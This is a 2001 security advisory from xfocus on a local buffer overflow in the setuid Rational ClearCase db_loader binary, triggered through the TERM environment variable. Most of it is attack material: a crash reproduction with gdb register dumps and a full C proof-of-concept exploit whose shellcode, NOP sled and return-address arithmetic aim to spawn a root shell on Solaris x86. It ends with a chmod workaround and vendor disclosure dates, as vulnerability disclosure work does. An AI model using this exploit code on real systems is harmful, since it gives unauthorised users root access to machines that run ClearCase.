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ClearCase db_loader TERM environment variable buffer overflow vulnerability
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Release infomation
------------------

Found Date: 2001-10-02
Release Date: 2001-11-01
Author: virtualcatxfocus.org
Homepage: http://xfocus.org

Description
-----------

Rational ClearCase is the market-leading software configuration management solution that simplifies the process of change. To software teams of all sizes, it offers tools and processes you can implement today and tailor as you grow. There is a buffer overflow in ClearCase db_loader binary when it read TERM environment variable that can be used by local users to obtain root privilege.

Version and Platform
--------------------

Affected Version: ClearCase 3.2+, 4.0, 4.1, 4.2
Affected Platform: Linux, Solaris sparc, Solaris x86, AIX, HP, Digital, IRIX, SCO etc.

Details
-------

$ TERM=`perl -e 'print "A"x550'`
$ export TERM
$ /usr/atria/etc/db_loader
Bus Error
$ gdb db_loader core -q
(no debugging symbols found)...Core was generated by `./db_loader'.
Cannot access memory at address 0xffffffffff3e1b80
#0 0xf0db8 in imsg_fputs ()
(gdb) bt
#0 0xf0db8 in imsg_fputs ()
Cannot access memory at address 0x41414179
(gdb) i reg
g0 0x0 0
g1 0x7b000 503808
g2 0x13cf84 1298308
g3 0x0 0
g4 0xf6c2c 1010732
g5 0x0 0
g6 0x0 0
g7 0x143d58 1326424
o0 0xffffffff -1
o1 0x1 1
o2 0xffbef054 -4263852
o3 0xf0c3c 986172
o4 0xffbeed8a -4264566
o5 0xffffffff -1
sp 0xffbeef70 -4264080
o7 0xf0db0 986544
l0 0x41414141 1094795585
l1 0x41414141 1094795585
l2 0x41414141 1094795585
l3 0x41414141 1094795585
l4 0x41414141 1094795585
l5 0x41414141 1094795585
l6 0x41414141 1094795585
l7 0x41414141 1094795585
i0 0x41414141 1094795585
i1 0x41414141 1094795585
i2 0x41414141 1094795585
i3 0x41414141 1094795585
i4 0x41414141 1094795585
i5 0x41414141 1094795585
fp 0x41414141 1094795585
i7 0x41414141 1094795585
y 0x0 0
psr 0xfe801007 -25161721 icc:N---, pil:0, s:0, ps:0, et:0, cwp:7
wim 0x0 0
tbr 0x0 0
pc 0xf0db8 986552
npc 0xf0dbc 986556
fpsr 0x0 0 rd:N, tem:0, ns:0, ver:0, ftt:0, qne:0, fcc:=, aexc:0, cexc:0
cpsr 0x0 0
(gdb)

Successfully exploit of this vulnerability would give an attacker root privilege.

Prove-Of-Concept exploit code
-----------------------------

a. ClearCase_x86exp.c

/* Rational ClearCase TERM environment variable buffer overflow exploit
* test it again solaris x86 7, bug found by virtualcatxfocus.org
* xploit by xundixfocus.org
* website: http://xfocus.org
*/

#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define RET_DIS 550
#define NOP 0x90
#define NNOP 512

#define ENV_VAR "TERM"

#define USER_UPPER_MAGIC 0x08047fff

/* Shell code taken from Pablo Sor's "mailx -F" exploit code */
char shellCode[] =
    "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
    "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
    "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
    "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
    "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
    "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

int get_esp()
{
    __asm__("mov %esp,%eax");
}

int getEnvAddr(const char* envPtr)
{
    int envAddr = NULL;
    int retCode = 0;

    char* charPtr = (char *) get_esp();

    /* Search for the starting address of the environment string for */
    /* the specified environment variable */
    while((unsigned int) charPtr < (unsigned int) USER_UPPER_MAGIC)
    {
        retCode = memcmp((unsigned char *) charPtr++, envPtr, 4);
        /* Found */
        if(retCode == 0)
        {
            envAddr = (int) (charPtr - 1);
            break;
        }
    }

    return envAddr;
}

int main(int argc, char** argv)
{

    char buff[256] = {0};

    int* intPtr = NULL;
    char* buffPtr = NULL;
    char* charPtr = NULL;

    int retAddr = 0;
    int retValue = 0;

    int buffLen = 0;
    int adjustment = 0;
    int strLen = 0;
    int alignment = 0;
    int diff = 0;
    int i;

    int shellCodeLen = strlen(shellCode);

    if(argc == 2)
    {
        adjustment = atoi(argv[1]);
    }

    buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1;

    charPtr = getenv(ENV_VAR);

    /* Adjust the stupid alignment */
    strLen = strlen(charPtr) + 1;
    alignment = strLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        strLen += alignment;
    }

    alignment = buffLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        buffLen += alignment;
    }

    retValue = getEnvAddr(ENV_VAR);
     
    diff = buffLen - strLen;

    retAddr = retValue - diff + strlen(ENV_VAR) + 1;

    alignment = retAddr % 4;

    if(alignment != 0)
    {
        alignment = 4 - alignment;
    }
    retAddr += RET_DIS + alignment + adjustment;

    /* Allocate memory for the evil buffer */
    buffPtr = (char *) malloc(buffLen);

    if(buffPtr != NULL)
    {

        strcpy(buffPtr, ENV_VAR);
        strcat(buffPtr, "=");
        charPtr = (char *) (buffPtr + strlen(buffPtr));
         
        /* Fill the rest of the buffer with 'A' */
        memset(charPtr, 0x41, buffLen - strlen(buffPtr)-4);

        /* Butt in the return address */
        intPtr = (int *) (charPtr + RET_DIS);
        *intPtr++ = retAddr;

        /* Make sure the NOPs are located word aligned */
        charPtr = (char *) intPtr;
        charPtr += alignment;

        for(i=0; i<NNOP; i++)
        {
            *charPtr++ = NOP;
        }

        for(i=0; i<shellCodeLen; i++)
        {
            *charPtr++ = shellCode[i];
        }
        *charPtr = 0;

        putenv(buffPtr);

        printf("Jumping to 0x%.8x\n", retAddr);

        execl("/usr/atria/etc/db_loader", "xfocus", NULL);
    }
    else
    {
        printf("No more free memory!");
    }
}

/*..Thanks for all xfocus members.. especially virtualcat*/

Workaround
----------

# chmod a-s /usr/atria/etc/db_loader

Vendor information
------------------

Vendor was informed at 2001-08-22
Vendor Homepage: http://www.rational.com

About xfocus
------------

Xfocus is a non-profit and free technology organization which was founded in 1998 in China. We are devoting to research and demonstration of weaknesses related to network services and communication security.

Copyright 2001 http://xfocus.org, All rights reserved.

Regards
            xundi
            xundixfocus.org

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